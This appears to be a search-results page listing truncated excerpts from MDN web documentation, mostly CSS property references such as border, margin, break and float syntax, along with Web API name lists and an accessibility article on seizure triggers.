... the stun server then replies to the initiator's request with a candidate whose ip address is unrelated to the remote peer.
...And 3 more matches
Web APIs
WebAPI
ouble constrainulong contentindex contentindexevent convolvernode countqueuingstrategy crashreportbody credential credentialscontainer crypto cryptokey cryptokeypair customelementregistry customevent d domconfiguration domerror domexception domhighrestimestamp domimplementation domimplementationlist domlocator dommatrix dommatrixreadonly domobject domparser dompoint dompointinit dompointreadonly domquad domrect domrectreadonly domstring domstringlist domstringmap domtimestamp domtokenlist domuserdata datatransfer datatransferitem datatransferitemlist dedicatedworkerglobalscope delaynode deprecationreportbody devicelightevent devicemotionevent devicemotioneventacceleration devicemotioneventrotationrate deviceorientationevent deviceproximityevent directorye...
...aints mediastreamevent mediastreamtrack mediastreamtrackaudiosourcenode mediastreamtrackaudiosourceoptions mediastreamtrackevent mediatrackconstraints mediatracksettings mediatracksupportedconstraints merchantvalidationevent messagechannel messageevent messageport metadata mimetype mimetypearray mouseevent mousescrollevent mousewheelevent mutationevent mutationobserver mutationobserverinit mutationrecord n ndefmessage ndefreader ndefreadingevent ndefrecord ndefwriter namelist namednodemap navigationpreloadmanager navigator navigatorconcurrenthardware navigatorid navigatorlanguage navigatoronline navigatorplugins navigatorstorage networkinformation node nodefilter nodeiterator nodelist nondocumenttypechildnode notation notification notificationaction notificationevent not...
...romiserejectionevent publickeycredential publickeycredentialcreationoptions publickeycredentialrequestoptions pushevent pushmanager pushmessagedata pushregistrationmanager pushsubscription r rtcansweroptions rtccertificate rtcconfiguration rtcdtmfsender rtcdtmftonechangeevent rtcdatachannel rtcdatachannelevent rtcdtlstransport rtcerror rtcerrorevent rtcicecandidate rtcicecandidateinit rtcicecandidatepair rtcicecandidatepairstats rtcicecandidatestats rtcicecandidatetype rtcicecomponent rtcicecredentialtype rtcicegathererstate rtciceparameters rtciceprotocol rtcicerole rtciceserver rtcicetcpcandidatetype rtcicetransport rtcicetransportstate rtcidentityassertion rtcidentityerrorevent rtcidentityevent rtcinboundrtpstreamstats rtcnetworktype rtcofferansweroptions rtcofferop...
...And 3 more matches
Web accessibility for seizures and physical reactions - Accessibility
in its article, "a revised definition of epilepsy" the epilepsy foundation notes that…"a seizure is an event and epilepsy is the disease involving recurrent unprovoked seizures." according to the epilepsy foundation's page "how serious are seizures?" , "sudden unexpected death in epilepsy (sudep) is likely the most common disease-related cause of death in with epilepsy.
... the point is, seizures most definitely can be and are fatal, and developers and designers are incredibly important to making the web a safer place for those with sensitivities to photosensitive or musicogenic triggers.
... button { animation: vibrate 0.3s linear infinite both; } @media (prefers-reduced-motion: reduce) { button { animation: none; } } prefers-color-scheme this can be useful if the ambient light api is not available.
...And 3 more matches
::first-line (:first-line) - CSS: Cascading Style Sheets
eive special styling because it is not a block-level element.</span> css ::first-line { color: blue; text-transform: uppercase; /* warning: do not use these */ /* many properties are invalid in ::first-line pseudo-elements */ margin-left: 20px; text-indent: 20px; } result specifications specification status comment css pseudo-elements level 4the definition of '::first-line' in that specification.
... css text decoration module level 3the definition of 'text-shadow with ::first-line' in that specification.
... selectors level 3the definition of '::first-line' in that specification.
...And 3 more matches
:active - CSS: Cascading Style Sheets
WebCSS:active
nd: #eee; } /* active paragraphs */ result active form elements html <form> <label for="my-button">my button: </label> <button id="my-button" type="button">try clicking me or my label!</button> </form> css form :active { color: red; } form button { background: white; } result specifications specification status comment html living standardthe definition of ':active' in that specification.
... living standard selectors level 4the definition of ':active' in that specification.
... selectors level 3the definition of ':active' in that specification.
...And 3 more matches
:link - CSS: Cascading Style Sheets
WebCSS:link
html <a href="#ordinary-target">this is an ordinary link.</a><br> <a href="">you've already visited this link.</a><br> <a>placeholder link (won't get styled)</a> css a:link { background-color: gold; color: green; } result specifications specification status comment html living standardthe definition of ':link' in that specification.
... living standard selectors level 4the definition of ':link' in that specification.
... selectors level 3the definition of ':link' in that specification.
...And 3 more matches
:visited - CSS: Cascading Style Sheets
WebCSS:visited
d this link.</a> css a { /* specify non-transparent defaults to certain properties, allowing them to be styled with the :visited state */ background-color: white; border: 1px solid white; } a:visited { background-color: yellow; border-color: hotpink; color: hotpink; } result specifications specification status comment html living standardthe definition of ':visited' in that specification.
... living standard selectors level 4the definition of ':visited' in that specification.
... selectors level 3the definition of ':visited' in that specification.
...And 3 more matches
@import - CSS: Cascading Style Sheets
WebCSS@import
ting css rules @import 'custom.css'; @import url("chrome://communicator/skin/"); importing css rules conditionally @import url("fineprint.css") print; @import url("bluish.css") speech; @import "common.css" screen; @import url('landscape.css') screen and (orientation:landscape); specifications specification status comment css cascading and inheritance level 4the definition of 'the @import rule' in that specification.
... css cascading and inheritance level 3the definition of '@import' in that specification.
... candidate recommendation media queriesthe definition of '@import' in that specification.
...And 3 more matches
@media - CSS: Cascading Style Sheets
WebCSS@media
specifications specification comment feedback media queries level 5the definition of '@media descriptors' in that specification.
... css working group drafts github issues css conditional rules module level 3the definition of '@media' in that specification.
... css working group drafts github issues media queries level 4the definition of '@media' in that specification.
...And 3 more matches
@viewport - CSS: Cascading Style Sheets
WebCSS@viewport
lengths specified as percentages are calculated relative to the initial viewport, which is the viewport before any user agent or authored styles have had an opportunity to adjust the viewport.
... on mobile devices (or desktop devices that are in full screen mode), the initial viewport is usually the portion of a device's screen that is available for application use.
... zoom sets the initial zoom factor.
...And 3 more matches
Alternative style sheets - CSS: Cascading Style Sheets
specifications specification status comment html living standardthe definition of 'link type "alternate"' in that specification.
... living standard html living standardthe definition of 'alternative stylesheet' in that specification.
... living standard html living standardthe definition of 'the "title" attribute for the style element' in that specification.
...And 3 more matches
Border-radius generator - CSS: Cascading Style Sheets
ic, callback) { if (subscribers[topic] === undefined) subscribers[topic] = []; subscribers[topic].push(callback); } var unsubscribe = function unsubscribe(topic, callback) { subscribers[topic].indexof(callback); subscribers[topic].splice(index, 1); } var notify = function notify() { for (var i in subscribers[this.topic]) { subscribers[this.topic][i](this.value); } } var init = function init() { var elem = document.queryselectorall('.ui-input-slider'); var size = elem.length; for (var i = 0; i < size; i++) new inputslider(elem[i]); } return { init : init, setmax : setmax, setmin : setmin, setunit : setunit, getnode : getnode, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe } })(); /** * ui-buttonmanager */ var bu...
...bscribers[topic] === undefined) subscribers[topic] = []; subscribers[topic].push(callback); } var unsubscribe = function unsubscribe(topic, callback) { subscribers[topic].indexof(callback); subscribers[topic].splice(index, 1); } var notify = function notify() { for (var i = 0; i < subscribers[this.topic].length; i++) subscribers[this.topic][i](this.checkbox.checked); } var init = function init() { var elem = document.queryselectorall('.ui-checkbox'); var size = elem.length; for (var i = 0; i < size; i++) new checkbox(elem[i]); } return { init : init, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe } })(); window.addeventlistener("load", function() { borderradius.init(); }); var borderradius = (function borderradius() { f...
...unction getelembyid(id) { return document.getelementbyid(id); } /** * shadow dragging */ var previewmousetracking = (function drag() { var active = false; var lastx = 0; var lasty = 0; var subscribers = []; var init = function init(id) { var elem = getelembyid(id); elem.addeventlistener('mousedown', dragstart, false); document.addeventlistener('mouseup', dragend, false); } var dragstart = function dragstart(e) { if (e.button !== 0) return; active = true; lastx = e.clientx; lasty = e.clienty; document.addeventlistener('mousemove', mousedrag, false); } var dragend = function dragend(e) { if (e.button !== 0) return; if (active === true) { active = false; document.removeeventlistener('mousemove', mousedrag, false); }...
...And 3 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
naming lines is useful when creating a responsive design where you redefine the grid, rather than then needing to redefine the content position by changing the line number in your media queries, you can ensure that the line is always named the same in your definitions.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } i’m using the same grid definitions as above, however this time i am going to place a single item into the named area content.
... multiple lines with the same name with repeat() if you want to give all of the lines in your grid a unique name then you will need to write out the track definition long-hand rather than using the repeat syntax, as you need to add the name in square brackets while defining the tracks.
...And 3 more matches
CSS values and units - CSS: Cascading Style Sheets
<custom-ident>, so if we had a grid area named content we would use it without quotes: .item { grid-area: content; } in comparison, a data type that is a <string>, such as a string value of the content property, must be quoted: .item::after { content: "this is my content."; } while you can generally create any name you want, including using emojis, the identifier can't be none, unset, initial, or inherit, start with a digit or two dashes, and generally you don't want it to be any other pre-defined css keyword.
... left | right | none | inline-start | inline-end such values are used without quotes: .box { float: left; } css-wide values in addition to the pre-defined keywords that are part of the specification for a property, all css properties accept the css-wide property values initial, inherit, and unset, which explicitly specify defaulting behaviors.
... the initial keyword represents the value specified as the property’s initial value.
...And 3 more matches
align-items - CSS: Cascading Style Sheets
end */ align-items: flex-start; /* pack flex items from the start */ align-items: flex-end; /* pack flex items from the end */ /* baseline alignment */ align-items: baseline; align-items: first baseline; align-items: last baseline; /* overflow alignment (for positional alignment only) */ align-items: safe center; align-items: unsafe center; /* global values */ align-items: inherit; align-items: initial; align-items: unset; values normal the effect of this keyword is dependent of the layout mode we are in: in absolutely-positioned layouts, the keyword behaves like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes.
... formal definition initial valuenormalapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | stretch | <baseline-position> | [ <overflow-position>?
...byid('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.alignitems = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); result specifications specification status comment css box alignment module level 3the definition of 'align-items' in that specification.
...And 3 more matches
align-self - CSS: Cascading Style Sheets
ut the flex item at the start */ align-self: flex-end; /* put the flex item at the end */ /* baseline alignment */ align-self: baseline; align-self: first baseline; align-self: last baseline; align-self: stretch; /* stretch 'auto'-sized items to fit the container */ /* overflow alignment */ align-self: safe center; align-self: unsafe center; /* global values */ align-self: inherit; align-self: initial; align-self: unset; values auto computes to the parent's align-items value.
... formal definition initial valueautoapplies toflex items, grid items, and absolutely-positioned boxesinheritednocomputed valueauto computes to itself on absolutely-positioned elements, and to the computed value of align-items on the parent (minus any legacy keywords) on all other boxes, or start if the box has no parent.
...> <div>item #2</div> <div>item #3</div> </section> css section { display: flex; align-items: center; height: 120px; background: beige; } div { height: 60px; background: cyan; margin: 5px; } div:nth-child(3) { align-self: flex-end; background: pink; } result specifications specification status comment css box alignment module level 3the definition of 'align-self' in that specification.
...And 3 more matches
background-clip - CSS: Cascading Style Sheets
the used values of that <body> element’s background properties are their initial values, and the propagated values are treated as if they were specified on the root element.
... syntax /* keyword values */ background-clip: border-box; background-clip: padding-box; background-clip: content-box; background-clip: text; /* global values */ background-clip: inherit; background-clip: initial; background-clip: unset; values border-box the background extends to the outside edge of the border (but underneath the border in z-ordering).
... formal definition initial valueborder-boxapplies toall elements.
...And 3 more matches
background-color - CSS: Cascading Style Sheets
/* fully opaque */ background-color: rgba(117, 190, 218, 0.5); /* 50% transparent */ /* hsl value */ background-color: hsl(50, 33%, 25%); /* fully opaque */ background-color: hsla(50, 33%, 25%, 0.75); /* 75% transparent */ /* special keyword values */ background-color: currentcolor; background-color: transparent; /* global values */ background-color: inherit; background-color: initial; background-color: unset; the background-color property is specified as a single <color> value.
... webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valuetransparentapplies toall elements.
... lorem ipsum dolor sit amet, consectetuer </div> css .exampleone { background-color: teal; color: white; } .exampletwo { background-color: rgb(153,102,153); color: rgb(255,255,204); } .examplethree { background-color: #777799; color: #ffffff; } result specifications specification comment feedback css backgrounds and borders module level 3the definition of 'background-color' in that specification.
...And 3 more matches
background-repeat - CSS: Cascading Style Sheets
: repeat-x; background-repeat: repeat-y; background-repeat: repeat; background-repeat: space; background-repeat: round; background-repeat: no-repeat; /* two-value syntax: horizontal | vertical */ background-repeat: repeat space; background-repeat: repeat repeat; background-repeat: round space; background-repeat: no-repeat round; /* global values */ background-repeat: inherit; background-repeat: initial; background-repeat: unset; values <repeat-style> the one-value syntax is a shorthand for the full two-value syntax: single value two-value equivalent repeat-x repeat no-repeat repeat-y no-repeat repeat repeat repeat repeat space space space round round round no-repeat no-rep...
... formal definition initial valuerepeatapplies toall elements.
... specifications specification status comment css backgrounds and borders module level 3the definition of 'background-repeat' in that specification.
...And 3 more matches
border-bottom-width - CSS: Cascading Style Sheets
syntax /* keyword values */ border-bottom-width: thin; border-bottom-width: medium; border-bottom-width: thick; /* <length> values */ border-bottom-width: 10em; border-bottom-width: 3vmax; border-bottom-width: 6px; /* global keywords */ border-bottom-width: inherit; border-bottom-width: initial; border-bottom-width: unset; values <line-width> defines the width of the border, either as an explicit nonnegative <length> or a keyword.
... formal definition initial valuemediumapplies toall elements.
...n | medium | thick examples comparing bottom border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-bottom-width: thick; } div:nth-child(2) { border-bottom-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-width' in that specification.
...And 3 more matches
border-color - CSS: Cascading Style Sheets
operties: border-bottom-color border-left-color border-right-color border-top-color syntax /* <color> values */ border-color: red; /* horizontal | vertical */ border-color: red #f015ca; /* top | vertical | bottom */ border-color: red rgb(240,30,50,.7) green; /* top | right | bottom | left */ border-color: red yellow green blue; /* global values */ border-color: inherit; border-color: initial; border-color: unset; the border-color property may be specified using one, two, three, or four values.
... formal definition initial valueas each of the properties of the shorthand:border-top-color: currentcolorborder-right-color: currentcolorborder-bottom-color: currentcolorborder-left-color: currentcolorapplies toall elements.
... css backgrounds and borders module level 3the definition of 'border-color' in that specification.
...And 3 more matches
border-left-width - CSS: Cascading Style Sheets
syntax /* keyword values */ border-left-width: thin; border-left-width: medium; border-left-width: thick; /* <length> values */ border-left-width: 10em; border-left-width: 3vmax; border-left-width: 6px; /* global keywords */ border-left-width: inherit; border-left-width: initial; border-left-width: unset; values <line-width> defines the width of the border, either as an explicit nonnegative <length> or a keyword.
... formal definition initial valuemediumapplies toall elements.
...ngth> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-left-width: thick; } div:nth-child(2) { border-left-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-width' in that specification.
...And 3 more matches
border-right-width - CSS: Cascading Style Sheets
syntax /* keyword values */ border-right-width: thin; border-right-width: medium; border-right-width: thick; /* <length> values */ border-right-width: 10em; border-right-width: 3vmax; border-right-width: 6px; /* global keywords */ border-right-width: inherit; border-right-width: initial; border-right-width: unset; values <line-width> defines the width of the border, either as an explicit nonnegative <length> or a keyword.
... formal definition initial valuemediumapplies toall elements.
...th> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-right-width: thick; } div:nth-child(2) { border-right-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-width' in that specification.
...And 3 more matches
border-style - CSS: Cascading Style Sheets
le: dashed; border-style: solid; border-style: double; border-style: groove; border-style: ridge; border-style: inset; border-style: outset; /* vertical | horizontal */ border-style: dotted solid; /* top | horizontal | bottom */ border-style: hidden double dashed; /* top | right | bottom | left */ border-style: none solid dotted dashed; /* global values */ border-style: inherit; border-style: initial; border-style: unset; the border-style property may be specified using one, two, three, or four values.
... formal definition initial valueas each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: noneapplies toall elements.
... .b1 {border-style:none;} .b2 {border-style:hidden;} .b3 {border-style:dotted;} .b4 {border-style:dashed;} .b5 {border-style:solid;} .b6 {border-style:double;} .b7 {border-style:groove;} .b8 {border-style:ridge;} .b9 {border-style:inset;} .b10 {border-style:outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-style' in that specification.
...And 3 more matches
border-top-style - CSS: Cascading Style Sheets
syntax /* keyword values */ border-top-style: none; border-top-style: hidden; border-top-style: dotted; border-top-style: dashed; border-top-style: solid; border-top-style: double; border-top-style: groove; border-top-style: ridge; border-top-style: inset; border-top-style: outset; /* global values */ border-top-style: inherit; border-top-style: initial; border-top-style: unset; the border-top-style property is specified as a single keyword chosen from those available for the border-style property.
... formal definition initial valuenoneapplies toall elements.
...le: hidden;} .b3 {border-top-style: dotted;} .b4 {border-top-style: dashed;} .b5 {border-top-style: solid;} .b6 {border-top-style: double;} .b7 {border-top-style: groove;} .b8 {border-top-style: ridge;} .b9 {border-top-style: inset;} .b10 {border-top-style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-style' in that specification.
...And 3 more matches
border-top-width - CSS: Cascading Style Sheets
syntax /* keyword values */ border-top-width: thin; border-top-width: medium; border-top-width: thick; /* <length> values */ border-top-width: 10em; border-top-width: 3vmax; border-top-width: 6px; /* global keywords */ border-top-width: inherit; border-top-width: initial; border-top-width: unset; values <line-width> defines the width of the border, either as an explicit nonnegative <length> or a keyword.
... formal definition initial valuemediumapplies toall elements.
...th>where <line-width> = <length> | thin | medium | thick examples html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-top-width: thick; } div:nth-child(2) { border-top-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-width' in that specification.
...And 3 more matches
border-width - CSS: Cascading Style Sheets
syntax /* keyword values */ border-width: thin; border-width: medium; border-width: thick; /* <length> values */ border-width: 4px; border-width: 1.2rem; /* vertical | horizontal */ border-width: 2px 1.5em; /* top | horizontal | bottom */ border-width: 1px 2em 1.5cm; /* top | right | bottom | left */ border-width: 1px 2em 0 4rem; /* global keywords */ border-width: inherit; border-width: initial; border-width: unset; the border-width property may be specified using one, two, three, or four values.
... formal definition initial valueas each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumapplies toall elements.
...x; } #bival { border: solid red; border-width: 2px 10px; } #treval { border: dotted orange; border-width: 0.3em 0 9px; } #fourval { border: solid lightgreen; border-width: thin medium thick 1em; } p { width: auto; margin: 0.25em; padding: 0.25em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-width' in that specification.
...And 3 more matches
break-after - CSS: Cascading Style Sheets
avoid; break-after: always; break-after: all; /* page break values */ break-after: avoid-page; break-after: page; break-after: left; break-after: right; break-after: recto; break-after: verso; /* column break values */ break-after: avoid-column; break-after: column; /* region break values */ break-after: avoid-region; break-after: region; /* global values */ break-after: inherit; break-after: initial; break-after: unset; each possible break point (in other words, each element boundary) is affected by three properties: the break-after value of the previous element, the break-before value of the next element, and the break-inside value of the containing element.
... formal definition initial valueautoapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | avoid | always | all | avoid-page | page | left | right | recto | verso | avoid-column | column | avoid-region | region examples breaking into neat columns in the following example we have a container that contains an <h1> spanning all columns (achieved using co...
...t-family: helvetica, arial, sans-serif; } h1 { font-size: 3rem; letter-spacing: 2px; column-span: all; } h2 { font-size: 1.2rem; color: red; letter-spacing: 1px; } p { line-height: 1.5; break-after: column; } article { column-width: 200px; gap: 20px; } result specifications specification status comment css fragmentation module level 3the definition of 'break-after' in that specification.
...And 3 more matches
break-before - CSS: Cascading Style Sheets
efore: always; break-before: all; /* page break values */ break-before: avoid-page; break-before: page; break-before: left; break-before: right; break-before: recto; break-before: verso; /* column break values */ break-before: avoid-column; break-before: column; /* region break values */ break-before: avoid-region; break-before: region; /* global values */ break-before: inherit; break-before: initial; break-before: unset; each possible break point (in other words, each element boundary) is affected by three properties: the break-after value of the previous element, the break-before value of the next element, and the break-inside value of the containing element.
... formal definition initial valueautoapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | avoid | always | all | avoid-page | page | left | right | recto | verso | avoid-column | column | avoid-region | region examples breaking into neat columns in the following example we have a container that contains an <h1> spanning all columns (achieved using co...
...-family: helvetica, arial, sans-serif; } h1 { font-size: 3rem; letter-spacing: 2px; column-span: all; } h2 { font-size: 1.2rem; color: red; letter-spacing: 1px; break-before: column; } p { line-height: 1.5; } article { column-width: 200px; gap: 20px; } result specifications specification status comment css fragmentation module level 3the definition of 'break-before' in that specification.
...And 3 more matches
break-inside - CSS: Cascading Style Sheets
/* keyword values */ break-inside: auto; break-inside: avoid; break-inside: avoid-page; break-inside: avoid-column; break-inside: avoid-region; /* global values */ break-inside: inherit; break-inside: initial; break-inside: unset; each possible break point (in other words, each element boundary) is affected by three properties: the break-after value of the previous element, the break-before value of the next element, and the break-inside value of the containing element.
...a subset of values should be aliased as follows: page-break-inside break-inside auto auto avoid avoid formal definition initial valueautoapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | avoid | avoid-page | avoid-column | avoid-region examples avoiding breaking inside a figure in the following example we have a container that contains an <h1> spanning all columns (achieved using column-span: all) and a series of paragraphs laid out in multiple ...
...: 0; } p { line-height: 1.5; break-after: column; } figure { break-inside: avoid; } img { max-width: 70%; display: block; margin: 0 auto; } figcaption { font-style: italic; font-size: 0.8rem; width: 70%; } article { column-width: 200px; gap: 20px; } result specifications specification status comment css fragmentation module level 3the definition of 'break-inside' in that specification.
...And 3 more matches
clear - CSS: Cascading Style Sheets
WebCSSclear
#container::after { content: ""; display: block; clear: both; } syntax /* keyword values */ clear: none; clear: left; clear: right; clear: both; clear: inline-start; clear: inline-end; /* global values */ clear: inherit; clear: initial; clear: unset; values none is a keyword indicating that the element is not moved down to clear past floating elements.
... formal definition initial valuenoneapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | left | right | both | inline-start | inline-end examples clear: left html <div class="wrapper"> <p class="black">lorem ipsum dolor sit amet, consectetuer adipiscing elit.
...x solid black; padding:10px; } .both { border: 1px solid black; clear: both; } .black { float: left; margin: 0; background-color: black; color: #fff; width:20%; } .red { float: right; margin: 0; background-color: pink; width:20%; } p { width: 45%; } specifications specification status comment css logical properties and values level 1the definition of 'float and clear' in that specification.
...And 3 more matches
flex-basis - CSS: Cascading Style Sheets
the flex-basis css property sets the initial main size of a flex item.
... syntax /* specify <'width'> */ flex-basis: 10em; flex-basis: 3px; flex-basis: auto; /* intrinsic sizing keywords */ flex-basis: fill; flex-basis: max-content; flex-basis: min-content; flex-basis: fit-content; /* automatically size based on the flex item’s content */ flex-basis: content; /* global values */ flex-basis: inherit; flex-basis: initial; flex-basis: unset; the flex-basis property is specified as either the keyword content or a <'width'>.
... note: this value was not present in the initial release of flexible box layout, and thus some older implementations will not support it.
...And 3 more matches
float - CSS: Cascading Style Sheets
WebCSSfloat
syntax /* keyword values */ float: left; float: right; float: none; float: inline-start; float: inline-end; /* global values */ float: inherit; float: initial; float: unset; the float property is specified as a single keyword, chosen from the list of values below.
... formal definition initial valuenoneapplies toall elements, but has no effect if the value of display is none.inheritednocomputed valueas specifiedanimation typediscrete formal syntax left | right | none | inline-start | inline-end examples how floated elements are positioned as mentioned above, when an element is floated, it is taken out of the normal flow of the document (though still remaining part of it...
... specifications specification status comment css logical properties and values level 1the definition of 'float and clear' in that specification.
...And 3 more matches
font-stretch - CSS: Cascading Style Sheets
es */ font-stretch: ultra-condensed; font-stretch: extra-condensed; font-stretch: condensed; font-stretch: semi-condensed; font-stretch: normal; font-stretch: semi-expanded; font-stretch: expanded; font-stretch: extra-expanded; font-stretch: ultra-expanded; /* percentage values */ font-stretch: 50%; font-stretch: 100%; font-stretch: 200%; /* global values */ font-stretch: inherit; font-stretch: initial; font-stretch: unset; syntax this property may be specified as a single keyword value or a single <percentage> value.
... formal definition initial valuenormalapplies toall elements.
...normal; font-stretch: 1% 500%; /* required by chrome */ } .container { border: 10px solid #f5f9fa; padding: 0 1rem; font: 1.5rem 'leaguemonovariable', sans-serif; } .condensed { font-stretch: 50%; } .normal { font-stretch: 100%; } .expanded { font-stretch: 200%; } result specifications specification status comment css fonts module level 4the definition of 'font-stretch' in that specification.
...And 3 more matches
<integer> - CSS: Cascading Style Sheets
WebCSSinteger
specifications specification status comment css values and units module level 4the definition of '<integer>' in that specification.
... css values and units module level 3the definition of '<integer>' in that specification.
... css level 2 (revision 1)the definition of '<integer>' in that specification.
...And 3 more matches
margin-bottom - CSS: Cascading Style Sheets
syntax /* <length> values */ margin-bottom: 10px; /* an absolute length */ margin-bottom: 1em; /* relative to the text size */ margin-bottom: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-bottom: auto; /* global values */ margin-bottom: inherit; margin-bottom: initial; margin-bottom: unset; the margin-bottom property is specified as the keyword auto, or a <length>, or a <percentage>.
... formal definition initial value0applies toall elements, except elements with table display types other than table-caption, table and inline-table.
...v class="container"> <div class="box0">box 0</div> <div class="box1">box 1</div> <div class="box2">box one's negative margin pulls me up</div> </div> css css for divs to set margin-bottom and height .box0 { margin-bottom:1em; height:3em; } .box1 { margin-bottom:-1.5em; height:4em; } .box2 { border:1px dashed black; border-width:1px 0; margin-bottom:2em; } some definitions for container and divs so margins' effects can be seen more clearly .container { background-color:orange; width:320px; border:1px solid black; } div { width:320px; background-color:gold; } result specifications specification status comment css basic box modelthe definition of 'margin-bottom' in that specification.
...And 3 more matches
margin-top - CSS: Cascading Style Sheets
syntax /* <length> values */ margin-top: 10px; /* an absolute length */ margin-top: 1em; /* relative to the text size */ margin-top: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-top: auto; /* global values */ margin-top: inherit; margin-top: initial; margin-top: unset; the margin-top property is specified as the keyword auto, or a <length>, or a <percentage>.
... formal definition initial value0applies toall elements, except elements with table display types other than table-caption, table and inline-table.
...ethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting positive and negative top margins .content { margin-top: 5%; } .sidebox { margin-top: 10px; } .logo { margin-top: -5px; } #footer { margin-top: 1em; } specifications specification status comment css basic box modelthe definition of 'margin-top' in that specification.
...And 3 more matches
margin - CSS: Cascading Style Sheets
WebCSSmargin
syntax /* apply to all four sides */ margin: 1em; margin: -3px; /* vertical | horizontal */ margin: 5% auto; /* top | horizontal | bottom */ margin: 1em auto 2em; /* top | right | bottom | left */ margin: 2px 1em 0 auto; /* global values */ margin: inherit; margin: initial; margin: unset; the margin property may be specified using one, two, three, or four values.
... specifications specification status comment css basic box modelthe definition of 'margin' in that specification.
... css level 2 (revision 1)the definition of 'margin' in that specification.
...And 3 more matches
mask - CSS: Cascading Style Sheets
WebCSSmask
as well as the properties listed below, the mask shorthand also resets mask-border to its initial value.
...-x; /* element within svg graphic used as horizontally repeated mask */ mask: url(masks.svg#star) stroke-box; /* element within svg graphic used as mask extending to the box enclosed by the stroke */ mask: url(masks.svg#star) exclude; /* element within svg graphic used as mask and combined with background using non-overlapping parts */ /* global values */ mask: inherit; mask: initial; mask: unset; /* multiple masks */ mask: url(masks.svg#star) left / 16px repeat-y, /* element within svg graphic is used as a mask on the left-hand side with a width of 16px */ url(masks.svg#circle) right / 16px repeat-y; /* element within svg graphic is used as a mask on the right-hand side with a width of 16px */ values <mask-reference> sets the mask image source.
... formal definition initial valueas each of the properties of the shorthand:mask-image: nonemask-mode: match-sourcemask-repeat: no-repeatmask-position: centermask-clip: border-boxmask-origin: border-boxmask-size: automask-composite: addapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesas each of the properties of the shortha...
...And 3 more matches
min-height - CSS: Cascading Style Sheets
syntax /* <length> value */ min-height: 3.5em; /* <percentage> value */ min-height: 10%; /* keyword values */ min-height: max-content; min-height: min-content; min-height: fit-content(20em); /* global values */ min-height: inherit; min-height: initial; min-height: unset; values <length> defines the min-height as an absolute value.
... formal definition initial valueautoapplies toall elements but non-replaced inline elements, table columns, and column groupsinheritednopercentagesthe percentage is calculated with respect to the height of the generated box's containing block.
...nimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting min-height table { min-height: 75%; } form { min-height: 0; } specifications specification status comment css box sizing module level 4the definition of 'min-height' in that specification.
...And 3 more matches
<number> - CSS: Cascading Style Sheets
WebCSSnumber
specifications specification status comment css values and units module level 4the definition of '<number>' in that specification.
... css values and units module level 3the definition of '<number>' in that specification.
... css level 2 (revision 1)the definition of '<number>' in that specification.
...And 3 more matches
outline - CSS: Cascading Style Sheets
WebCSSoutline
constituent properties this property is a shorthand for the following css properties: outline-color outline-style outline-width syntax /* style */ outline: solid; /* color | style */ outline: #f66 dashed; /* style | width */ outline: inset thick; /* color | style | width */ outline: green solid 3px; /* global values */ outline: inherit; outline: initial; outline: unset; the outline property may be specified using one, two, or three of the values listed below.
... as with all shorthand properties, any omitted sub-values will be set to their initial value.
... how to design useful and usable focus indicators wcag 2.1: understanding success criterion 2.4.7: focus visible formal definition initial valueas each of the properties of the shorthand:outline-color: invert, for browsers supporting it, currentcolor for the otheroutline-style: noneoutline-width: mediumapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:outline-color: for the keyword invert, the computed value is invert.
...And 3 more matches
padding-bottom - CSS: Cascading Style Sheets
syntax /* <length> values */ padding-bottom: 0.5em; padding-bottom: 0; padding-bottom: 2cm; /* <percentage> value */ padding-bottom: 10%; /* global values */ padding-bottom: inherit; padding-bottom: initial; padding-bottom: unset; the padding-bottom property is specified as a single value chosen from the list below.
... formal definition initial value0applies toall elements, except table-row-group, table-header-group, table-footer-group, table-row, table-column-group and table-column.
...efer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting padding bottom with pixels and percentages .content { padding-bottom: 5%; } .sidebox { padding-bottom: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-bottom' in that specification.
...And 3 more matches
